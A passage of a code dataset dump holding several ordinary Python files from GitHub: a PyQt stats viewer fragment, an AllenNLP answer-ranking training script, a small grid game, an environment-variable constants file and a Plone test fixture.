points[0].pos()[0]\n event = self.sorted_idx[int(x)]\n print('viewing event %d' % event)\n path = self.data_dict['filepath'][event]\n dataset = self.data_dict['dataset'][event]\n frame = self.data_dict['frame'][event]\n self.main_win.maybe_add_file(path)\n self.main_win.load_data(path, dataset=dataset, frame=frame)\n self.main_win.update_file_info()\n self.main_win.change_image()\n self.main_win.update_display()\n\n def load_stats(self, stats_file):\n if not os.path.exists(stats_file):\n return\n data = np.load(stats_file)\n\n # collect all scalar fields for plot\n all_fields = []\n for i in range(len(data)):\n all_fields += list(data[i]['data_dict'])\n all_fields = list(set(all_fields))\n scalar_fields = list(\n set(all_fields) & {\n 'total_intensity',\n 'max_intensity',\n 'clen',\n 'fiducial',\n 'photon_energy',\n 'flow_rate',\n 'pressure',\n 'epics-PV'\n }\n )\n\n # collect all data to data dict\n self.data_dict = {\n 'filepath': [],\n 'dataset': [],\n 'frame': [],\n 'nb_peak': []\n }\n for field in scalar_fields:\n self.data_dict[field] = []\n for i in range(len(data)):\n self.data_dict['filepath'].append(data[i]['filepath'])\n self.data_dict['dataset'].append(data[i]['dataset'])\n self.data_dict['frame'].append(data[i]['frame'])\n self.data_dict['nb_peak'].append(data[i]['nb_peak'])\n for field in scalar_fields:\n self.data_dict[field].append(data[i]['data_dict'][field])\n for key, value in self.data_dict.items():\n self.data_dict[key] = np.array(value)\n\n self.primaryData.clear()\n self.secondaryData.clear()\n self.primaryData.addItems(scalar_fields + ['nb_peak'])\n self.secondaryData.addItems([''] + scalar_fields + ['nb_peak'])\n self.plot()\n\n def update_views(self):\n self.secondary_plot.setGeometry(\n self.primary_plot.vb.sceneBoundingRect()\n )\n self.secondary_plot.linkedViewChanged(\n self.primary_plot.vb, self.secondary_plot.XAxis\n )\n\n def plot(self):\n self.primary_plot.clear()\n self.secondary_plot.clear()\n\n primary_dataset = self.primaryData.currentText()\n primary_data = self.data_dict[primary_dataset]\n\n if self.linePlot.isChecked():\n sort_data = self.sortDataset.isChecked()\n if sort_data:\n self.sorted_idx = np.argsort(primary_data)\n else:\n self.sorted_idx = np.arange(len(primary_data))\n\n self.primary_plot_item.setData(\n x=np.arange(len(primary_data)),\n y=primary_data[self.sorted_idx]\n )\n self.primary_plot.addItem(self.primary_plot_item)\n self.primary_plot.getAxis('left').setLabel(\n primary_dataset, **PRIMARY_LABEL_STYLE\n )\n self.primary_plot.getAxis('bottom').setLabel(\n 'index', color='#ffffff'\n )\n self.primary_plot.autoRange()\n\n secondary_dataset = self.secondaryData.currentText()\n if len(secondary_dataset) == 0:\n return\n secondary_data = self.data_dict[secondary_dataset]\n self.secondary_plot_item.setData(\n x=np.arange(len(secondary_data)),\n y=secondary_data[self.sorted_idx]\n )\n self.secondary_plot.addItem(self.secondary_plot_item)\n self.primary_plot.getAxis('right').setLabel(\n secondary_dataset, **SECONDARY_LABEL_STYLE\n )\n self.primary_plot.autoRange()\n self.update_views()\n\n else:\n if primary_data.max() == primary_data.min():\n print('Skip single value distribution of %.3e'\n % primary_data[0])\n return\n bin_size = self.binSize.value()\n bin_num = (primary_data.max() - primary_data.min()) / bin_size\n if bin_num > 1000:\n bin_size = (primary_data.max() - primary_data.min()) / 1000\n print('Bin size too small, set to %.2f' % bin_size)\n elif bin_num < 2:\n bin_size = max(\n (primary_data.max() - primary_data.min()) / 2,\n 0.001\n )\n print('Bin size too big, set to %.2f' % bin_size)\n\n self.binSize.setValue(bin_size)\n y, x = np.histogram(\n primary_data,\n bins=np.arange(\n primary_data.min() * 0.9,\n primary_data.max() * 1.1,\n bin_size\n )\n )\n self.primary_hist_item.setData(\n x, y\n )\n self.primary_plot.addItem(self.primary_hist_item)\n self.primary_plot.getAxis('bottom').setLabel(\n primary_dataset, **PRIMARY_LABEL_STYLE\n )\n self.primary_plot.getAxis('left').setLabel(\n 'count', color='#ffffff'\n )\n self.primary_plot.autoRange()\n\n","repo_name":"LiuLab-CSRC/ClickX","sub_path":"stats_viewer.py","file_name":"stats_viewer.py","file_ext":"py","file_size_in_byte":8263,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"29402677751","text":"\"\"\"\nWe will use Allennlp's pre-implemented version of \"A Decomposable Attention Model for Natural Language Inference\"\n`_by Parikh et al., 2016\n\nThis is an SNLI model which can be also used for our task.\n\"\"\"\nimport os\nimport re\nimport sys\n# Allennlp uses typing for everything. We will need to annotate the type of every variable\nfrom typing import Iterator, List, Dict\n\nimport torch\nimport torch.optim as optim\nimport numpy as np\n\nfrom allennlp.data import Instance\nfrom allennlp.data.fields import Field, TextField, LabelField, MetadataField, ListField\nfrom allennlp.common import Params\n# For every code that uses allennlp framework, we need to implement a dataset reader\n# Essentially we will create a class that inherits the base class given by Allennlp, \n# which will read the data and produce an Instance iterator\nfrom allennlp.data.dataset_readers import DatasetReader\n\n# useful if your data is present in an URL\nfrom allennlp.common.file_utils import cached_path\n\n# We need to use these to index the sentences into allennlp recognizable list of tokens\nfrom allennlp.data.token_indexers import TokenIndexer, SingleIdTokenIndexer\nfrom allennlp.data.tokenizers import Token, Tokenizer, WordTokenizer\n\n# Will need vocabulary to convert sentences to tokens\nfrom allennlp.data.vocabulary import Vocabulary\n\n# this I beleive is just a wrapper around the pytorch module Model\nfrom allennlp.models import Model\n# Importing the model that we want to use\nfrom allennlp.models import DecomposableAttention\nfrom allennlp.modules.feedforward import FeedForward\nfrom allennlp.modules.similarity_functions.dot_product import DotProductSimilarity\n\nfrom allennlp.modules.text_field_embedders import TextFieldEmbedder, BasicTextFieldEmbedder\nfrom allennlp.modules.token_embedders import Embedding\nfrom allennlp.nn.util import get_text_field_mask, masked_softmax, weighted_sum\n\n# Useful for tracking accuracy on training and validation dataset\nfrom allennlp.training.metrics import CategoricalAccuracy\n\nfrom allennlp.data.iterators import BucketIterator\nfrom allennlp.training.trainer import Trainer\nfrom allennlp.predictors.decomposable_attention import DecomposableAttentionPredictor\n\nfrom decomposable_attention_softmax_model import DecomposableAttentionSoftmax\n\nfrom pytorch_pretrained_bert.modeling import BertConfig, BertModel\nfrom allennlp.modules.token_embedders.bert_token_embedder import BertEmbedder, PretrainedBertEmbedder\n\nfrom allennlp.modules.token_embedders.elmo_token_embedder import ElmoTokenEmbedder\nfrom allennlp.data.token_indexers.elmo_indexer import ELMoTokenCharactersIndexer\n\nimport random\n\nimport argparse\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-e\", \"--elmo\", help=\"Flag to indicate if we want to use elmo embedding\", action=\"store_true\")\nargs = parser.parse_args()\n\nimport logging\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\n\ntorch.manual_seed(1)\n\n# def get_sampled_responses_and_labels(responses_and_labels, batch_size):\n# \tcorrect_responses = [r_l for r_l in responses_and_labels if r_l[1] == \"1\"]\n# \tincorrect_responses = [r_l for r_l in responses_and_labels if r_l[1] == \"0\"]\n# \tsampled_incorrect_responses = random.sample(incorrect_responses, batch_size - len(correct_responses))\n# \tfinal_sample = current_responses\n# \tfinal_sample.extend(sampled_incorrect_responses)\n# \treturn [list(t) for t in zip(*final_sample)]\n\n# we want to ouptut Fields similar to the SNLI reader\nclass QuestionResponseSoftmaxReader(DatasetReader):\n\tdef __init__(self,\n\t\t\t\t tokenizer: Tokenizer = None,\n\t\t\t\t token_indexers: Dict[str, TokenIndexer] = None,\n\t\t\t\t lazy: bool = False,\n\t\t\t\t max_batch_size: int = 0) -> None:\n\t\tsuper().__init__(lazy)\n\t\tself._tokenizer = tokenizer or WordTokenizer()\n\t\tself._token_indexers = token_indexers or {'tokens': SingleIdTokenIndexer()}\n\t\tself._max_batch_size = max_batch_size\n\n\tdef update_max_batch_size(self, max_batch_size):\n\t\tself._max_batch_size = max_batch_size\n\n\tdef _read(self, file_path: str):\n\t\t# if `file_path` is a URL, redirect to the cache\n\t\tfile_path = cached_path(file_path)\n\n\t\twith open(file_path, 'r') as features_file:\n\t\t\tlogger.info(\"Reading Generated Responses and questions instances from features file: %s\", file_path)\n\t\t\tcurrent_qa = None\n\t\t\tcurrent_responses = list()\n\t\t\tcurrent_labels = list()\n\t\t\tcurrent_label_counts = 0\n\t\t\tfor i, line in enumerate(features_file):\n\t\t\t\t# TODO: remove this after debugging\n\t\t\t\t# if i==10000:\n\t\t\t\t# \tbreak\n\t\t\t\tline = line.strip()\n\t\t\t\trow = re.split('\\t|\\\\t', line)\n\n\t\t\t\tq = row[0].strip()\n\t\t\t\tq = q.lower()\n\t\t\t\ta = row[1].strip()\n\t\t\t\ta = a.lower()\n\t\t\t\tif current_qa != (q,a):\n\t\t\t\t\t# send the previous batch\n\t\t\t\t\tif len(current_responses) > 1:\n\t\t\t\t\t\tif current_label_counts > 0:\n\t\t\t\t\t\t\tif self._max_batch_size == 0:\n\t\t\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_responses, current_labels)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\t\t\tcurrent_positive_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"1\"]\n\t\t\t\t\t\t\t\t# re-initialize the iterator so that we can run on in twice\n\t\t\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\t\t\tcurrent_negative_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"0\"]\n\t\t\t\t\t\t\t\t# print(\"total responses\", len(current_responses), \"vs\", len(current_labels))\n\t\t\t\t\t\t\t\t# print(\"positive responses\", len(current_positive_responses))\n\t\t\t\t\t\t\t\t# print(\"negative responses\", len(current_negative_responses))\n\t\t\t\t\t\t\t\t# shuffle negative_responses in place\n\t\t\t\t\t\t\t\trandom.shuffle(current_negative_responses)\n\t\t\t\t\t\t\t\t# send all negative samples in batches with each having at least one positive response\n\t\t\t\t\t\t\t\tfirst_index = 0\n\t\t\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\t\t\t\t\t\t\t\twhile True:\n\t\t\t\t\t\t\t\t\tcurrent_sample = list()\n\t\t\t\t\t\t\t\t\tcurrent_sample.append(random.choice(current_positive_responses))\n\t\t\t\t\t\t\t\t\t# print(\"first index\", first_index)\n\t\t\t\t\t\t\t\t\t# print(\"last index\", last_index)\n\t\t\t\t\t\t\t\t\t# sys.stdout.flush()\n\t\t\t\t\t\t\t\t\tcurrent_sample.extend(current_negative_responses[first_index:last_index])\n\t\t\t\t\t\t\t\t\t# print(\"Current Sample size:\", len(current_sample), \" vs \", self._max_batch_size)\n\t\t\t\t\t\t\t\t\t# Get responses and labels list from current_sample\n\t\t\t\t\t\t\t\t\tcurrent_sample_responses, current_sample_labels = [list(t) for t in zip(*current_sample)]\n\t\t\t\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_sample_responses, current_sample_labels)\n\t\t\t\t\t\t\t\t\tif last_index == len(current_negative_responses):\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t# update first and last index\n\t\t\t\t\t\t\t\t\tfirst_index = last_index\n\t\t\t\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\n\t\t\t\t\tcurrent_qa = (q,a)\n\t\t\t\t\tcurrent_responses = list()\n\t\t\t\t\tcurrent_labels = list()\n\t\t\t\t\tcurrent_label_counts = 0\n\t\t\t\tr = row[2].strip()\n\t\t\t\tr = r.lower()\n\t\t\t\trule = row[3].strip()\n\t\t\t\tcount = row[-1]\n\t\t\t\tif int(count) > 0:\n\t\t\t\t\tlabel = \"1\"\n\t\t\t\t\tcurrent_label_counts += 1\n\t\t\t\telse:\n\t\t\t\t\tlabel = \"0\"\n\t\t\t\tcurrent_responses.append(r)\n\t\t\t\tcurrent_labels.append(label)\n\n\t\t\t# yield the last batch\n\t\t\tif len(current_responses) > 1:\n\t\t\t\tif current_label_counts > 0:\n\t\t\t\t\tif self._max_batch_size == 0:\n\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_responses, current_labels)\n\t\t\t\t\telse:\n\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\tcurrent_positive_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"1\"]\n\t\t\t\t\t\t# re-initialize the iterator so that we can run on in twice\n\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\tcurrent_negative_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"0\"]\n\t\t\t\t\t\t# print(\"total responses\", len(current_responses), \"vs\", len(current_labels))\n\t\t\t\t\t\t# print(\"positive responses\", len(current_positive_responses))\n\t\t\t\t\t\t# print(\"negative responses\", len(current_negative_responses))\n\t\t\t\t\t\t# shuffle negative_responses in place\n\t\t\t\t\t\trandom.shuffle(current_negative_responses)\n\t\t\t\t\t\t# send all negative samples in batches with each having at least one positive response\n\t\t\t\t\t\tfirst_index = 0\n\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\t\t\t\t\t\twhile True:\n\t\t\t\t\t\t\tcurrent_sample = list()\n\t\t\t\t\t\t\tcurrent_sample.append(random.choice(current_positive_responses))\n\t\t\t\t\t\t\t# print(\"first index\", first_index)\n\t\t\t\t\t\t\t# print(\"last index\", last_index)\n\t\t\t\t\t\t\t# sys.stdout.flush()\n\t\t\t\t\t\t\tcurrent_sample.extend(current_negative_responses[first_index:last_index])\n\t\t\t\t\t\t\t# print(\"Current Sample size:\", len(current_sample), \" vs \", self._max_batch_size)\n\t\t\t\t\t\t\t# Get responses and labels list from current_sample\n\t\t\t\t\t\t\tcurrent_sample_responses, current_sample_labels = [list(t) for t in zip(*current_sample)]\n\t\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_sample_responses, current_sample_labels)\n\t\t\t\t\t\t\tif last_index == len(current_negative_responses):\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t# update first and last index\n\t\t\t\t\t\t\tfirst_index = last_index\n\t\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\t\t\t\tcurrent_qa = None\n\t\t\t\tcurrent_responses = list()\n\t\t\t\tcurrent_labels = list()\n\t\n\tdef text_to_instance(self, # type: ignore\n\t\t\t\t\t\t premise: str,\n\t\t\t\t\t\t hypotheses: List[str],\n\t\t\t\t\t\t labels: List[str] = None) -> Instance:\n\t\t# pylint: disable=arguments-differ\n\t\tfields: Dict[str, Field] = {}\n\t\tpremise_tokens = self._tokenizer.tokenize(premise)\n\t\tfields['premise'] = TextField(premise_tokens, self._token_indexers)\n\t\tall_hypotheses_fields = list()\n\t\tfor hypothesis in hypotheses:\n\t\t\thypothesis_tokens = self._tokenizer.tokenize(hypothesis)\n\t\t\tall_hypotheses_fields.append(TextField(hypothesis_tokens, self._token_indexers))\n\t\tfields['hypotheses'] = ListField(all_hypotheses_fields)\n\t\tif labels:\n\t\t\tall_labels_fields = list()\n\t\t\tfor label in labels:\n\t\t\t\tall_labels_fields.append(LabelField(label))\n\t\t\tfields['labels'] = ListField(all_labels_fields)\n\n\t\tmetadata = {\"labels\": all_labels_fields}\n\t\tfields[\"metadata\"] = MetadataField(metadata)\n\t\treturn Instance(fields)\n\n\nDATA_FOLDER = \"train_data\"\nglove_embeddings_file = os.path.join(\"data\", \"glove\", \"glove.840B.300d.txt\")\n# model_save_filename = os.path.join(\"saved_softmax_models\", \"decomposable_attention_model_{}.th\")\n# vocab_save_filepath = os.path.join(\"saved_softmax_models\",\"vocabulary_{}\")\n# model_save_filename = os.path.join(\"saved_softmax_models\", \"decomposable_attention_glove_model_{}.th\")\n# vocab_save_filepath = os.path.join(\"saved_softmax_models\",\"vocabulary_glove_{}\")\n\nLOSS_TYPE = \"_nll\"\n# LOSS_TYPE = \"_mse\"\nNEGATIVE_PERCENTAGE = 10\n# EMBEDDING_TYPE = \"\"\n# EMBEDDING_TYPE = \"_glove\"\n# EMBEDDING_TYPE = \"_bert\"\n# EMBEDDING_TYPE = \"_elmo\"\n# EMBEDDING_TYPE = \"_elmo_retrained\"\n# EMBEDDING_TYPE = \"_elmo_retrained_2\"\n# MAX_BATCH_SIZE = 0\nMAX_BATCH_SIZE = 150 # for bert and elmo\n\nif args.elmo:\n\tEMBEDDING_TYPE = \"_elmo\"\nelse:\n\tEMBEDDING_TYPE = \"\"\n\ntoken_indexers = None\nif EMBEDDING_TYPE == \"_elmo\" or EMBEDDING_TYPE == \"_elmo_retrained\" or EMBEDDING_TYPE == \"_elmo_retrained_2\":\n\ttoken_indexers = {\"tokens\": ELMoTokenCharactersIndexer()}\n\nreader = QuestionResponseSoftmaxReader(token_indexers=token_indexers, max_batch_size=MAX_BATCH_SIZE)\nmodel_save_filename = os.path.join(\"saved_softmax_models\", \"decomposable_attention{}{}_model_{}.th\")\nvocab_save_filepath = os.path.join(\"saved_softmax_models\",\"vocabulary{}{}_{}\")\n# for NEGATIVE_PERCENTAGE in [1,5,10,20,50,100]:\nfor NEGATIVE_PERCENTAGE in [100]:\n\tprint(\"Training with embedding type\", EMBEDDING_TYPE, \"embedddings\")\n\tprint(\"Training with loss type\", LOSS_TYPE, \"loss\")\n\tprint(\"Training for NEGATIVE_PERCENTAGE:\", NEGATIVE_PERCENTAGE)\n\ttrain_file = os.path.join(DATA_FOLDER, \"train_count2_squad_final_train_data_features_{}_negative.tsv\".format(NEGATIVE_PERCENTAGE))\n\tval_file = os.path.join(DATA_FOLDER, \"val_count1_squad_final_train_data_features.tsv\")\n\ttest_file = os.path.join(DATA_FOLDER, \"test_count1_squad_final_train_data_features.tsv\")\n\n\ttrain_dataset = reader.read(train_file)\n\tval_dataset = reader.read(val_file)\n\t# test_dataset = reader.read(test_file)\n\tvocab = Vocabulary.from_instances(train_dataset + val_dataset)\n\n\tEMBEDDING_DIM = 300\n\tPROJECT_DIM = 200\n\tDROPOUT = 0.2\n\tNUM_LAYERS = 2\n\tif EMBEDDING_TYPE == \"\":\n\t\ttoken_embedding = Embedding(num_embeddings=vocab.get_vocab_size('tokens'),\n\t\t\t\t\t\t\t\t\tembedding_dim=EMBEDDING_DIM, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_glove\":\n\t\ttoken_embedding = Embedding.from_params(\n\t\t\t\t\t\t\tvocab=vocab,\n\t\t\t\t\t\t\tparams=Params({'pretrained_file':glove_embeddings_file,\n\t\t\t\t\t\t\t\t\t\t 'embedding_dim' : EMBEDDING_DIM,\n\t\t\t\t\t\t\t\t\t\t 'projection_dim': PROJECT_DIM,\n\t\t\t\t\t\t\t\t\t\t 'trainable': False}))\n\telif EMBEDDING_TYPE == \"_elmo\":\n\t\t# options_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_options.json\"\n\t\t# weights_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_weights.hdf5\"\n\t\toptions_file = os.path.join(\"data\", \"elmo\", \"elmo_2x2048_256_2048cnn_1xhighway_options.json\")\n\t\tweights_file = os.path.join(\"data\", \"elmo\", \"elmo_2x2048_256_2048cnn_1xhighway_weights.hdf5\")\n\t\t# NOTE: using Small size as medium size gave CUDA out of memory error\n\t\t# options_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_options.json\"\n\t\t# weights_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_weights.hdf5\"\n\t\t# options_file = os.path.join(\"data\", \"elmo\", \"elmo_2x1024_128_2048cnn_1xhighway_options.json\")\n\t\t# weights_file = os.path.join(\"data\", \"elmo\", \"elmo_2x1024_128_2048cnn_1xhighway_weights.hdf5\")\n\t\ttoken_embedding = ElmoTokenEmbedder(options_file, weights_file, dropout=DROPOUT, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_elmo_retrained\":\n\t\toptions_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"options.json\")\n\t\tweights_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"weights.hdf5\")\n\t\ttoken_embedding = ElmoTokenEmbedder(options_file, weights_file, dropout=DROPOUT, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_elmo_retrained_2\":\n\t\toptions_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"options_2.json\")\n\t\tweights_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"weights_2.hdf5\")\n\t\ttoken_embedding = ElmoTokenEmbedder(options_file, weights_file, dropout=DROPOUT, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_bert\":\n\t\tprint(\"Loading bert model\")\n\t\tmodel = BertModel.from_pretrained('bert-base-uncased')\n\t\ttoken_embedding = BertEmbedder(model)\n\t\tPROJECT_DIM = 768\n\telse:\n\t\tprint(\"Error: Some weird Embedding type\", EMBEDDING_TYPE)\n\t\texit()\n\tword_embeddings = BasicTextFieldEmbedder({\"tokens\": token_embedding})\n\tHIDDEN_DIM = 200\n\tparams = Params({ \n\t\t\t 'input_dim': PROJECT_DIM,\n\t\t\t 'hidden_dims': HIDDEN_DIM,\n\t\t\t 'activations': 'relu',\n\t\t\t 'num_layers': NUM_LAYERS,\n\t\t\t 'dropout': DROPOUT\n\t\t\t })\n\tattend_feedforward = FeedForward.from_params(params)\n\tsimilarity_function = DotProductSimilarity()\n\tparams = Params({ \n\t\t\t 'input_dim': 2*PROJECT_DIM,\n\t\t\t 'hidden_dims': HIDDEN_DIM,\n\t\t\t 'activations': 'relu',\n\t\t\t 'num_layers': NUM_LAYERS,\n\t\t\t 'dropout': DROPOUT\n\t\t\t })\n\tcompare_feedforward = FeedForward.from_params(params)\n\tparams = Params({ \n\t\t\t 'input_dim': 2*HIDDEN_DIM,\n\t\t\t 'hidden_dims': 1,\n\t\t\t 'activations': 'linear',\n\t\t\t 'num_layers': 1\n\t\t\t })\n\taggregate_feedforward = FeedForward.from_params(params)\n\tmodel = DecomposableAttentionSoftmax(vocab, word_embeddings, attend_feedforward, similarity_function, compare_feedforward, aggregate_feedforward, loss_type=LOSS_TYPE)\n\tif torch.cuda.is_available():\n\t\t# export CUDA_VISIBLE_DEVICES=3\n\t\tcuda_device = 0\n\t\tmodel = model.cuda(cuda_device)\n\telse:\n\t\tcuda_device = -1\n\n\tBATCH_SIZE = 1\n\n\toptimizer = optim.Adagrad(model.parameters(), lr=0.05, initial_accumulator_value=0.1)\n\titerator = BucketIterator(batch_size=BATCH_SIZE, padding_noise=0.0, sorting_keys=[[\"premise\", \"num_tokens\"]])\n\t# Iterator must make sure that the instances are indexed with vocabulary\n\titerator.index_with(vocab)\n\n\ttrainer = Trainer(model=model,\n\t\t\t\t\t optimizer=optimizer,\n\t\t\t\t\t iterator=iterator,\n\t\t\t\t\t train_dataset=train_dataset,\n\t\t\t\t\t validation_dataset=val_dataset,\n\t\t\t\t\t patience=10,\n\t\t\t\t\t num_epochs=30,\n\t\t\t\t\t cuda_device=cuda_device)\n\n\ttrainer.train()\n\t# Save model\n\twith open(model_save_filename.format(LOSS_TYPE, EMBEDDING_TYPE, NEGATIVE_PERCENTAGE), 'wb') as f:\n\t\ttorch.save(model.state_dict(), f)\n\t# Save vocabulary\n\tvocab.save_to_files(vocab_save_filepath.format(LOSS_TYPE, EMBEDDING_TYPE, NEGATIVE_PERCENTAGE))\n\n\n\n","repo_name":"abaheti95/QADialogSystem","sub_path":"RuleBasedQuestionsToAnswer/decomposable_attention_model_softmax_training.py","file_name":"decomposable_attention_model_softmax_training.py","file_ext":"py","file_size_in_byte":16936,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"}
+{"seq_id":"7727795722","text":"from random import randint\r\nrow1 = [\"⬜️\",\"⬜️\",\"⬜️\"]\r\nrow2 = [\"⬜️\",\"⬜️\",\"⬜️\"]\r\nrow3 = [\"⬜️\",\"⬜️\",\"⬜️\"]\r\nmap = [row1, row2, row3]\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\nlist=[]\r\nposition1 = input(\"Where do you want to put the treasure? \")\r\nlist.append(position1)\r\nvertical1=int(position1[1])-1\r\nhorizontal1=int(position1[0])-1\r\nmap[vertical1][horizontal1]=\"❌️\"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\ncomputer_number_vertical1=randint(0,2)\r\ncomputer_number_horizontal1=randint(0,2)\r\nwhile computer_number_vertical1==vertical1 and computer_number_horizontal1==horizontal1:\r\n computer_number_vertical1=randint(0,2)\r\n computer_number_horizontal1=randint(0,2)\r\nposition3=str(computer_number_horizontal1+1)+str(computer_number_vertical1+1)\r\nlist.append(position3)\r\n# print(list)\r\n# print(f\"{row1}\\n{row2}\\n{row3}\")\r\nmap[computer_number_vertical1][computer_number_horizontal1]=\"🔴 \"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\nposition2 = input(\"Where do you want to put the treasure again? \")\r\nlist.append(position2)\r\nvertical2=int(position2[1])-1\r\nhorizontal2=int(position2[0])-1\r\nmap[vertical2][horizontal2]=\"❌️\"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\ncomputer_number_vertical2=randint(0,2)\r\ncomputer_number_horizontal2=randint(0,2)\r\nposition4=str(computer_number_horizontal2+1)+str(computer_number_vertical2+1)\r\nwhile position4 in list:\r\n computer_number_vertical2=randint(0,2)\r\n computer_number_horizontal2=randint(0,2)\r\nmap[computer_number_vertical2][computer_number_horizontal2]=\"🔴 \"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\nposition5 = input(\"Where do you want to put the treasure again? \")\r\nvertical5=int(position5[1])-1\r\nhorizontal5=int(position5[0])-1\r\n\r\nif vertical5==vertical1==vertical2 or horizontal5==horizontal2==horizontal1:\r\n map[vertical5][horizontal5] = \"❌️\"\r\n print(f\"{row1}\\n{row2}\\n{row3}\")\r\n print(\"you win)\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"anassajaanan/Python-Projects","sub_path":"X _O GAME.py","file_name":"X _O GAME.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"33881110839","text":"#####\n# General site config items\n#####\nimport os\n\n#####\n# External services\n#####\nFACEBOOK_API_TOKEN=os.environ['FACEBOOK_API_TOKEN']\nMEETUP_API_TOKEN=os.environ['MEETUP_API_TOKEN']\nMEETUP_MEMBER_ID=os.environ['MEETUP_MEMBER_ID']\nSENDGRID_TOKEN=os.environ['SENDGRID_TOKEN']\nSENDGRID_FROM=os.environ['SENDGRID_FROM']\n#####\n# External services\n#####\n","repo_name":"ModernAlchemists/globaltechcommunities","sub_path":"gtc/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"6963564033","text":"# -*- coding: utf-8 -*-\nfrom plone.app.robotframework.testing import REMOTE_LIBRARY_BUNDLE_FIXTURE\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import FunctionalTesting\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import PloneSandboxLayer\nfrom plone.testing import z2\nfrom plone import api\n\nimport collective.printrss\n\n\nclass CollectivePrintrssLayer(PloneSandboxLayer):\n\n defaultBases = (PLONE_FIXTURE,)\n\n def setUpZope(self, app, configurationContext):\n self.loadZCML(package=collective.printrss)\n\n def setUpPloneSite(self, portal):\n applyProfile(portal, 'collective.printrss:default')\n api.user.create(email='test@imio.be', username='test')\n api.user.grant_roles(username='test', roles=['Site Administrator'])\n\nCOLLECTIVE_PRINTRSS_FIXTURE = CollectivePrintrssLayer()\n\n\nCOLLECTIVE_PRINTRSS_INTEGRATION_TESTING = IntegrationTesting(\n bases=(COLLECTIVE_PRINTRSS_FIXTURE,),\n name='CollectivePrintrssLayer:IntegrationTesting'\n)\n\n\nCOLLECTIVE_PRINTRSS_FUNCTIONAL_TESTING = FunctionalTesting(\n bases=(COLLECTIVE_PRINTRSS_FIXTURE,),\n name='CollectivePrintrssLayer:FunctionalTesting'\n)\n\n\nCOLLECTIVE_PRINTRSS_ACCEPTANCE_TESTING = FunctionalTesting(\n bases=(\n COLLECTIVE_PRINTRSS_FIXTURE,\n REMOTE_LIBRARY_BUNDLE_FIXTURE,\n z2.ZSERVER_FIXTURE\n ),\n name='CollectivePrintrssLayer:AcceptanceTesting'\n)\n","repo_name":"IMIO/collective.printrss","sub_path":"src/collective/printrss/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
